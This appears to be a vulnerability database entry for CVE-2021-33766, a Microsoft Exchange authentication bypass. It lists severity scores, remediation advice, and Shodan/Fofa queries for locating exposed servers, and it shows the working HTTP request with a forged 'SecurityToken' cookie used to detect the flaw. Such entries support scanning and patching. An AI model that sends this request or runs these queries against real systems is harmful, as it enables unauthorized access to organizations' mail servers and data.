| Title | Microsoft Exchange - Authentication Bypass |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can bypass authentication using a SecurityToken cookie, gaining access to Exchange Server's internal API endpoints and sensitive information. |
| Remediation | Apply security updates provided by Microsoft to fix the authentication bypass vulnerability. |
| CVSS Score | 7.3 |
| EPSS Score | 0.93483 |
| CVE ID | CVE-2021-33766 |
| CWE ID | NVD-CWE-noinfo |
| Shodan Query | vuln:cve-2021-26855http.favicon.hash:1768726119http.title:"outlook"cpe:"cpe:2.3:a:microsoft:exchange_server" |
| Fofa Query | title="outlook"icon_hash=1768726119 |
| Tags | cve cve2021 microsoft exchange auth-bypass kev vkev vuln |
Microsoft Exchange Server Information Disclosure Vulnerability. This vulnerability enables an attacker to bypass authentication and gain access to the Exchange Server’s internal.
GET /ecp/finlNY@SoFZp.com/PersonalSettings/HomePage.aspx?showhelp=false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Cookie: SecurityToken=x
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33766.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33766.pcap
N/AN/A